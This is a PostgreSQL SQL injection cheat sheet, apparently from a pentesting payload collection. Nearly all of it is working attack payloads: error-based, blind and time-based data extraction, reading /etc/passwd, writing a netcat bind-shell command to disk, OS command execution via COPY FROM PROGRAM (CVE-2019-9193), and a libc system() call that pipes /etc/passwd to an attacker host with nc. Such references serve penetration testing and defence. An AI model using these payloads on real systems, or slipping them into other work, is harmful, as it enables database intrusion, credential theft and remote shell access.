PostgreSQL injection

PostgreSQL injection

Summary

PostgreSQL Comments
PostgreSQL Error Based
PostgreSQL Blind
PostgreSQL Time Based
PostgreSQL File Read
PostgreSQL File Write
PostgreSQL Command execution
- CVE-2019–9193
- Using libc.so.6
References

PostgreSQL Comments

--
/**/

PostgreSQL Error Based

,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

PostgreSQL Blind

' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1  -> KO

PostgreSQL Time Based

AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

PostgreSQL File Read

select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);

NOTE: `pg_read_filedoesn’t accept the/ character.

CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;

PostgreSQL File Write

CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';

PostgreSQL Command execution

CVE-2019–9193

Can be used from Metasploit if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.

DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec;                 -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table

PostgreSQL Injection - 图1

Using libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

PostgreSQL Injection